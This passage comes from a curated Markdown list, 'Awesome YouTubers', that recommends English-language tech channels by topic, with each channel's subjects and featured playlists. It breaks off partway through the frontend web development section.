Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --- <img src="http://swagger.io/wp-content/uploads/2016/02/logo.jpg"/>
<!--lint disable double-link--> <!--lint disable awesome-heading--> <div align="center"> <h1> Awesome YouTubers <a href="https://awesome.re"> <img src="https://awesome.re/badge-flat2.svg" alt="Awesome"> </a> </h1> <br /> <div> <a href="https://github.com/JoseDeFreitas/awesome-youtubers"> <img width="428" src="logo.svg" alt="Awesome YouTubers logo"> </a> </div> </div> > Watch video tutorials from YouTubers that teach you about technology. ## Other languages This repository only lists awesome YouTubers that speak English. Awesome contributors have created their own list of awesome tech YouTubers in other languages. **Below you can see all the repositories related.** If you believe you have awesome YouTubers in a certain language and you have at least more than a few of them, you can create your own list and let me know [opening a new issue](https://github.com/JoseDeFreitas/awesome-youtubers/issues/new). - [Brazilian Portuguese](https://github.com/rcarubbi/awesome-brazilian-youtubers) - [Spanish](https://github.com/rcarubbi/awesome-spanish-youtubers) ## Contents - [Programming in general](#programming-in-general) - [Web development](#web-development) - [Frontend](#frontend) - [Backend](#backend) - [Computer science](#computer-science) - [Machine learning](#machine-learning) - [DevOps](#devops) - [Game development](#game-development) - [Mobile development](#mobile-development) - [Cybersecurity](#cybersecurity) - [Internet/networking](#internetnetworking) - [Software in general](#software-in-general) - [Conferences](#conferences) - [Operating systems](#operating-systems) - [Digital design](#digital-design) - [Audio and video](#audio-and-video) - [Hardware](#hardware) - [Competitive programming](#competitive-programming) - [Life skills](#life-skills) ## Programming in general There're a lot of programming languages out there. In this section, you can find any programming language, including Python, C, Java. Also, many YouTubers teach about frameworks of these languages. Not only programming languages but more general programming stuff. You can find either practical tutorials or theoretical tutorials. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwEFEH0os2PjNYXfjC2tlO-VU5sSsB3rX6DOeFh=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/Techsithtube) [**techsith**](https://www.youtube.com/c/Techsithtube) \ Content about: React.js, JavaScript \ Featured playlists: `react js from scratch`, `Node.js Tutorials For Beginners`, `Data Structures in JavaScript`, `Interview Preparation`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJymy6xr9_W7GTkPW1ov2OyxzvNCOE-ff1d7VK36Cg=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/programmingwithmosh) [**Programming with Mosh**](https://www.youtube.com/c/programmingwithmosh) \ Content about: Frontend, Backend \ Featured playlists: `JavaScript Tutorials`, `JavaScript frameworks videos`, `Python Tutorials`, `Node.js Tutorials`, `C#.NET Tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyd7g6PJDaD3j2Ouariuf_U42P-yZZPQw6-E-B08Q=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/CodingGarden) [**Coding Garden**](https://www.youtube.com/c/CodingGarden) \ Content about: JavaScript, JavaScript frameworks \ Featured playlists: `Code Wars Code Katas`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzCCG7r_PWNZBE9SOTRKKGMiBGcTG8XAA33BT2Axw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/derekbanas) [**Derek Banas**](https://www.youtube.com/c/derekbanas) \ Content about: Mathematics, Programming languages \ Featured playlists: `Learn Algebra`, `C++ Tutorial`, `C# Tutorial`, `Java Video Tutorial`, `a lot of diverse topics`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwVjl968ProbjWSmYNghqYxAG_EI0-3ZK6QNIHM=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/DonJonesConTech) [**Don Jones**](https://www.youtube.com/c/DonJonesConTech) \ Content about: PowerShell \ Featured playlists: `Learn Windows PowerShell in a Month of Lunches`, `SAPIEN PowerShell Training`, `PowerShell Tips, Tricks, and Snippets`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxNLWZNUXOTpXHY9j8PvBdyZbGTkwbUznRvHtmH=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/Coreyms) [**Corey Schafer**](https://www.youtube.com/c/Coreyms) \ Content about: Python, Backend \ Featured playlists: `Python Tutorials`, `Django Tutorials`, `Flask Tutorials`, `Matplotlib Tutorials`, `SQL Tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwo68B0xlMZFJImEBUN1fwzILMZJfVbGSMyUggMVg=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/LearningLad) [**LearningLad**](https://www.youtube.com/c/LearningLad) \ Content about: C, C#, C++ \ Featured playlists: `Learn C Programming Language | Tutorial for Beginners`, `Learn C++ Programming | Video Tutorial for Beginners`, `C++ Object Oriented Programming`, `and many more playlists`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzsuBQEVwEvfj3ti2gZQCVWpFc4e38IfMsPgYGCxw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/TheCodingTrain) [**The Coding Train**](https://www.youtube.com/c/TheCodingTrain) \ Content about: Algorithms, Various programming languages \ Featured playlists: `The Nature of Code: Simulating Natural Systems with Processing`, `Learning Processing: A Beginner's Guide to Programming Images, Animation, and Interaction`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxo5sxMK5En0bXdwzW65cLoDmmGYdoWWDnwlmd0zrw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/user/intellipaaat) [**Intellipaat**](https://www.youtube.com/user/intellipaaat) \ Content about: DevOps, Artificial intelligence \ Featured playlists: `DevOps Tutorial for Beginners`, `Artificial Intelligence Tutorial`, `Machine Learning Tutorial`, `Python Tutorial for Beginners`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxg7ZDO-AqFL4bQWz38_7RZKYydoUQTpVuPAPzo=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/ProgrammingKnowledge) [**ProgrammingKnowledge**](https://www.youtube.com/c/ProgrammingKnowledge) \ Content about: Backend, APIs \ Featured playlists: `Node.js Tutorial for Beginners`, `Python 3 Tutorial for Beginners`, `C++ Programming Tutorial for Beginners`, `other videos about different programming languages`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwXTGNb9fHAe65rAIHAHkq0D227_WF4IsvdIXw-6Q=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/smartherd) [**Smartherd**](https://www.youtube.com/c/smartherd) \ Content about: Kotlin, Android, more programming languages \ Featured playlists: `a lot of Kotlin & Android videos`, `Ruby Tutorial for Beginners`, `Dart Tutorial for Beginners`, `Java Tutorial for Beginners`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyTuYUkA0ZyCqkuLvrFfwTMDrP2iBbYX_Th4mMi2A=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/TensorProgramming) [**Tensor Programming**](https://www.youtube.com/c/TensorProgramming) \ Content about: Rust, Dart, Flutter \ Featured playlists: `Flutter Tutorials`, `Dart & Dart for Beginners`, `Intro to Rust & Rust Projects`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwFt03RAznOsPwlfo5c1kW1rp-1o3Xgpw9MNreQMQ=s288-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ) [**freeCodeCamp.org**](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ) \ Content about: General programming, Computer science, Web Dev, DevOps, etc. \ Featured playlists: `Python Tutorials`, `Machine Learning`, `Java Tutorials`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxlKpaj19DmFWS8cuYfwKNHY-k9vBmNlH0N72rGKQ=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/JavaBrainsChannel) [**Java Brains**](https://www.youtube.com/c/JavaBrainsChannel) \ Content about: Spring, Java \ Featured playlists: `Spring Framework Courses playlists`, `Spring Boot Microservices - Full Course playlists`, `Java EE Courses playlists`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxRGfv1YCCh9tamNue4H4J1Ih_5i9hlr5cVtrGd=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/user/IAmTimCorey) [**IAmTimCorey**](https://www.youtube.com/user/IAmTimCorey) \ Content about: C#, .NET \ Featured playlists: `Advanced Topics in C#`, `Getting Started with C#`, `C# User Interfaces`, `many other C# videos`, `.NET video tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzFJLYJgEVYb9xBZrjEkikp4J1XCMJKGZLjMeBrcA=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/CalebTheVideoMaker2) [**Caleb Curry**](https://www.youtube.com/c/CalebTheVideoMaker2) \ Content about: Python, JavaScript, C, C#, C++ \ Featured playlists: `Python Programming`, `JavaScript playlist`, `C# Tutorials`, `C Programming Tutorials`, `C++ Tutorials`, `Java Tutorials`, `database tutorial videos`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxtfwKCYoK9gky4vuqWH1yuuXJNMVN3hod5wLrlmQ=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/CodingEntrepreneurs) [**CodingEntrepreneurs**](https://www.youtube.com/c/CodingEntrepreneurs) \ Content about: Python \ Featured playlists: `30 Days of Python ~ Python 3.8+`, `Coding With Python`, `Python 3.8 and Django 3+`, `Install and setup on Windows and Mac`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJw7fYBQnfGgKdrlaYJWMcTtlZLobe00ebnq07-a=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/AngelSix) [**AngelSix**](https://www.youtube.com/c/AngelSix) \ Content about: C# \ Featured playlists: `C# Mastery Course (2020)`, `C# Programming (Beginners)`, `.NET Core and ASP.NET Server Development Tutorials`, `WPF UI Programming (C#)`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzcq5nTTEilaRV9Pprq3q-1DEG3IqqEHMeOkj94=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/DataDaft) [**DataDaft**](https://www.youtube.com/c/DataDaft) \ Content about: Data science, Python, R, Practical & theoretical \ Featured playlists: `Python for Data Analysis`, `Introduction to R`, `Python Programming Practice`, `Pandas`, `more playlists!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwZDjZBLse-ByxN1EAxA5ll42m2QN_8UEL_J0wbdA"/>](https://www.youtube.com/c/GiraffeAcademy/) [**Mike Dane**](https://www.youtube.com/c/GiraffeAcademy/) \ Content about: MongoDB, SQL, C#, C++ \ Featured playlists: `MongoDB - NoSQL Database`, `PHP - Programming Language`, `C# - Programming Language`, `C++ - Programming Language`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJznc40hgjUtfJdS_KNadxC_6isyQON0Hw54tGJ92w=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/channel/UC_fFL5jgoCOrwAVoM_fBYwA) [**Alex Lee**](https://www.youtube.com/channel/UC_fFL5jgoCOrwAVoM_fBYwA) \ Content about: Java \ Featured playlists: `Java Basics 1`, `Java Basics 2`, `Java Intermediate 1`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu-9AfNLSWxc3skUP_hMyWZszoZf5HiUx2z7PHzQ_g=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/Redisinc) [**Redis**](https://www.youtube.com/c/Redisinc) \ Content about: Redis \ Featured playlists: `Redis Explained`, `Redis Chaching`, `Redis Data Types`, `and much more`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwniZ0iAR0-iiqjCju5guN6OlEE_blepRLtwIy1Qn-Q=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/NeuralNine) [**NeuralNine**](https://www.youtube.com/c/NeuralNine) \ Content about: Python, Data structures, Data science, Machine learning, Ethical hacking \ Featured playlists: `Algorithms & Data Structures`, `Python Machine Learning Tutorial`, `Python AI Projects`, `Python Hacking Projects`, `Python beginner/intermediate tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwniUJEo6f8ReELm9g2vZ1bDV8AOv8mDclTRTpHGMCA=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/realpython) [**Real Python**](https://www.youtube.com/c/realpython) \ Content about: Python \ Featured playlists: `Python - Intermediate and Advanced Features`, `Functional Programming in Python`, `Tools for Effective Python Development`, `How to Build Your Python Career`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwnhLj6DBmXKsj17LiBv_6dtkL2NHss_0p7LfaHSC=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/LucidProgramming) [**LucidProgramming**](https://www.youtube.com/c/LucidProgramming) \ Content about: Python \ Featured playlists: `Algorithms (Python)`, `Data Structures (Python)`, `Technical Interview Preparation`, `Web Scraping and Automation (Python)`, `many more videos`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwngu9ixqZQkUBXieYuC38lf2SZd4AphVjuDMhQb8Cg=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/user/ElfocrashDev) [**Nick Chapsas**](https://www.youtube.com/user/ElfocrashDev) \ Content about: C#, .NET, Azure, AWS, General Programming \ Featured playlists: `ASP.NET Core REST API Tutorial`, `ASP.NET Core General Tutorials`, `Essential Nuget Packages in .NET`, `Software Engineering Fundamentals`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwnh-0HYxeTcEOIpQp5YM1OZbavRxUXaep7O1ivI=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCX7-Wi9ioslA9691INtFO5Q) [**Hackers Realm**](https://www.youtube.com/channel/UCX7-Wi9ioslA9691INtFO5Q) \ Content about: Python, Problem solving \ Featured playlists: `Hackerrank Problem Solving`, `Machone/Deep learning Projects Tutorials`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwngkLa2K2hztBjibf2pUaX9jdT9ytpNdPJqvRUUniw=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UC4SVo0Ue36XCfOyb5Lh1viQ) [**Bro Code**](https://www.youtube.com/channel/UC4SVo0Ue36XCfOyb5Lh1viQ) \ Content about: Java, Python, C#/C++ \ Featured playlists: `playlists of these languages with a lot of videos`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwng6MXFVH96Z90UBQ0SZIhcOleaQAg6if8DB2-Ho=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/dotNET) [**dotNET**](https://www.youtube.com/c/dotNET) \ Content about: .NET, ASP.NET, C# \ Featured playlists: `Desktop and .NET Code 101`, `ASP.NET Core 101`, `DevOps for .NET`, `C# Language Highlights`, `C# Advanced`, `and more`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwngnH3h5aKC8bRNmvSvgomJi7Bj1-JPWxaf7V5kH=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/Csharp-video-tutorialsBlogspot) [**kudvenkat**](https://www.youtube.com/c/Csharp-video-tutorialsBlogspot) \ Content about: SQL Server, C#, ASP.NET, Design patterns \ Featured playlists: `Design Patterns tutorial for beginners`, `SQL Server tutorial for beginners`, `c# tutorial for beginners`, `ASP.NET tutorial for beginners`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwnj-Xt8eCdr2yPU93-3iYiTn3mwZE4J5rhASgTd06Q=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCg1SjE1gwO8A0xqoFtfLEAA) [**Ian Schoenrock**](https://www.youtube.com/channel/UCg1SjE1gwO8A0xqoFtfLEAA) \ Content about: C#, Swift, Kotlin \ Featured playlists: `C# Full Course Beginner to Advanced`, `Swift Course`, `Kotlin Course`, `Xamarin Forms Lists Course`, `and more`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwnh02l6XSxqL7YSJYxbio_WW9Nk9ujDzG0BHY21m=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UC-yuWVUplUJZvieEligKBkA) [**javidx9**](https://www.youtube.com/channel/UC-yuWVUplUJZvieEligKBkA) \ Content about: C++, Theoretical, Game development \ Featured playlists: `NES Emulator From Scratch`, `Interesting Programming`, `Code-It-Yourself!`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AKedOLR6P3sBPRErVRQGI0Zt5c8DddO4nTXm5r9HWK0b=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/SingletonSean) [**SingletonSean**](https://www.youtube.com/c/SingletonSean) \ Content about: C#, WPF, .NET \ Featured playlists: `Full Stack WPF MVVM`, `WPF Navigation`, `WPF Responsive Design`, `WPF Custom Controls`, `Design Patterns`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/wLdR-0xgfaVI8YlJWsCUqcL369ylYVHzxLhatQVMzZALSOAZRl0xE1DPycMJlhkp__Y6l7d0=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/alexgutjahr) [**Alex Gutjahr | Spring Boot + Kotlin**](https://www.youtube.com/c/alexgutjahr) \ Content about: Spring Boot, Kotlin \ Featured playlists: `Spring Boot`. \ <br/> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/kMuSQv3_WwPmGSk7XJvf5PvIK7ARMUKaB6AUB8I0y7vtjCqE5dDU8YNe1PaDrqriqVeR6BRW=s800-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/ArjanCodes) [**ArjanCodes**](https://www.youtube.com/c/ArjanCodes) \ Content about: Python, Software Design \ Featured playlists: `Software Design in Python`, `Code Roasts`. \ <br/> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/n5SlI5Ps1SWnuI58faTPSb2HvFKO9nZJ34ztRxRa8V-gl5KyP97oI1A5YnlkRGD_BTUThREfJw=s800-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/@CodeAesthetic) [**CodeAesthetic**](https://www.youtube.com/@CodeAesthetic) \ Content about: Programming best practices \ Featured playlists: N/A \ <br/> [🔼 Back to the top](#contents) ## Web development Web development includes frontend development: the very basics (HTML, CSS and JavaScript) as well as the most modern frameworks (React.js, Vue.js, Angular). It also includes backend development topics, like Node.js, GraphQL, SQL and more basic things, like DNS, URLs, Deployment. You can also find freelancing as a web developer and other related stuff. ### Frontend [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJx1mDLn8-L1yG8jIO2yGHvJzqnMZ03dsc3PbNqe=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/channel/UC80PWRj_ZU8Zu0HSMNVwKWw) [**Codevolution**](https://www.youtube.com/channel/UC80PWRj_ZU8Zu0HSMNVwKWw) \ Content about: React.js, JavaScript, TypeScript \ Featured playlists: `React.js Tutorial for Beginners`, `React.js Hooks Tutorial`, `React.js Redux Tutorial`, `React.js Storybook Tutorial`, `React.js Formik Tutorial`, `Practical React.js`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxxWvA615Onz5us60u38fgK3eq-fnQVDmeW_4Rr=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/FluxWithRanSegall) [**Flux**](https://www.youtube.com/c/FluxWithRanSegall) \ Content about: Web design, Design, Freelancing \ Featured playlists: `Free Web Design Course 2020`, `Portfolios: Case Studies & Reviews`, `How To Start Freelancing`, `FREELANCE TIPS: How to find clients & grow your business`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJx86XmyIg-0icwveEKd2Iz8VEFyhGGhJLpJ2Q6l=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UC4QVZ552Q-dXIdMSc2cewcA) [**CSS Animation**](https://www.youtube.com/channel/UC4QVZ552Q-dXIdMSc2cewcA) \ Content about: CSS \ Featured playlists: `Full Course: Level Up Your CSS Animation Skills`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJx_1d5dpZETr6oOBANDbkDtqp9h4n9RWCXeKrWM0Q=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/JavaScriptMastery) [**JavaScript Mastery**](https://www.youtube.com/c/JavaScriptMastery) \ Content about: React.js, JavaScript \ Featured playlists: `Learn JavaScript`, `Master React.js by Building Real Projects`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyIKkD9fGTB3olrvHQY8wNXGtHDEKp6tcmXr84=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/Omatum) [**Omatum**](https://www.youtube.com/c/Omatum) \ Content about: Web development, Design \ Featured playlists: `Live Omatum Bucks Software Project Streams`, `Software Project: OmatumBucks`, `Live Omatum.com Website Development Project Streams`, `Uncut Live Streams`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyShhB_eKIuZPIDtUJenOMwRVk4J0mGrDrD2irYk1k=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/PunitChawla) [**Punit Chawla**](https://www.youtube.com/c/PunitChawla) \ Content about: Web design, Adobe XD \ Featured playlists: `Design Weekly`, `Design Essentials`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzj9Wp5NIzuIcB3DhQ5jgunW5b98DCWGeSv2TZptQ=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/DevEd) [**Dev Ed**](https://www.youtube.com/c/DevEd) \ Content about: Web design, JavaScript, React.js \ Featured playlists: `Web Design Tutorial (UI & UX)`, `React.js Tutorial For Beginners`, `CSS Tutorials`, `JavaScript tutorials playlists`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyC278MnqvWj6nYJAUT6E3tzxrZ03-CRsIbnDQIwA=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/DesignCourse) [**DesignCourse**](https://www.youtube.com/c/DesignCourse) \ Content about: Web design, Design, UI/UX, Adobe XD \ Featured playlists: `Illustrator Tutorials`, `Adobe XD Tutorials`, `Photoshop Tutorials`, `LATEST DEV TUTS`, `LATEST DESIGN TUTS`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJw9rDLrDqNFCAsI1Umf8K3b87ORxhmEC9AL6opQ=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/RedStapler_channel) [**Red Stapler**](https://www.youtube.com/c/RedStapler_channel) \ Content about: JavaScript, CSS \ Featured playlists: `CSS Tips and Tricks`, `some playlists about JavaScript libraries`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxVs1XkkiWUb-wFs4CqKWjVu5kJL_PEea7l8AJS=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/channel/UCsKsymTY_4BYR-wytLjex7A) [**Brian Design**](https://www.youtube.com/channel/UCsKsymTY_4BYR-wytLjex7A) \ Content about: Frontend, React.js, Web design \ Featured playlists: `React.js Tutorials`, `HTML, CSS & JavaScript Tutorials`, `videos of web design (UI/UX)`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwAle-GCzklNOEXi8fYqoby3omwcM0dV_EK008LGg=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/AngularFirebase) [**Fireship**](https://www.youtube.com/c/Fireship) \ Content about: JavaScript, Flutter, Firebase \ Featured playlists: `100 Seconds of Code`, `Angular Essentials`, `Flutter`, `Frontend Mini Projects`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxb_vf1eP6r278YghZIE53tMLh13RCKU6ZSuoTt6w=s288-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/Academind) [**Academind**](https://www.youtube.com/c/Academind) \ Content about: Frontend, JavaScript, Web design \ Featured playlists: `React.js + Redux Basics`, `Vue.js 2 - Getting Started`, `Amazon Web Services Basics`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyTPRJfE-AcekIPpfXRf3fxAMe6Nkobv-oHCgoV=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/FlorinPop) [**Florin Pop**](https://www.youtube.com/c/FlorinPop) \ Content about: JavaScript, CSS \ Featured playlists: `Learn JavaScript`, `Learn React.js`, `Learn CSS`, `JavaScript Array Methods`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwuTmBKZD9sTE28x5qOHN_vRCPCP528iQeVqauh=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/LevelUpTuts) [**LevelUpTuts**](https://www.youtube.com/c/LevelUpTuts) \ Content about: Frontend, Web design, CMS \ Featured playlists: `Design Tutorials playlists`, `CMS Tutorials playlists`, `HTML & CSS Tutorials`, `React.js videos`, `and more!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwXxITlfxKmPX2h2OkLKwxzR-OoCLCxkKmf1Ugs=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/learncodeacademy) [**LearnCode.academy**](https://www.youtube.com/c/learncodeacademy) \ Content about: JavaScript, JavaScript frameworks \ Featured playlists: `JavaScript Tutorial for Beginners`, `React.js, Angular and Vue.js playlists`, `MEAN Stack Tutorials`, `jQuery Tutorial for Beginners`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJz7NRo1YgYd8NZDAIglqEPPp82Vf3vXwHeyIaUx=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/RawCoding) [**Raw Coding**](https://www.youtube.com/c/RawCoding) \ Content about: ASP.NET, .NET \ Featured playlists: `Modern Web Development Series`, `Vue.js Beginner Guide with ASP.NET Core`, `ASP.NET Core Tutorials`, `a lot more .NET tutorials!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxuVxCsvMR6SMjZPTk-JBRuI6kX9rUaAfkSM0o7BA=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/LayoutLand) [**Layout Land**](https://www.youtube.com/c/LayoutLand) \ Content about: CSS \ Featured playlists: `CSS theoretical and practical videos`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyWnmk6Ql70o3P-x2eHIR01SiiYamhspnAN04zhWA=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/TheNetNinja) [**The Net Ninja**](https://www.youtube.com/c/TheNetNinja) \ Content about: Frontend, Frameworks \ Featured playlists: `Flutter Tutorial for Beginners`, `React.js and React Native playlists`, `a lot of JavaScript playlists, including JavaScript frameworks`, `GraphQL Tutorial`, `many, many more!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwEYMLm54q5CX7NwBsUrETHMZvMca9tp-3vxrorBA=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/kepowob) [**Kevin Powell**](https://www.youtube.com/kepowob) \ Content about: CSS \ Featured playlists: `CSS Grid videos`, `Flexbox basics`, `Responsive CSS tutorials`, `CSS animation`, `many more CSS video tutorials!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyYBq2Mid0yyblUOq4vnXB3KTfCaoWgghQJ9WEcBw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/hswolff) [**Harry Wolff**](https://www.youtube.com/c/hswolff) \ Content about: React.js, JavaScript \ Featured playlists: `React Tutorials`, `Building a React Native App`, `JavaScript Tutorials`, `TypeScript playlist`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" 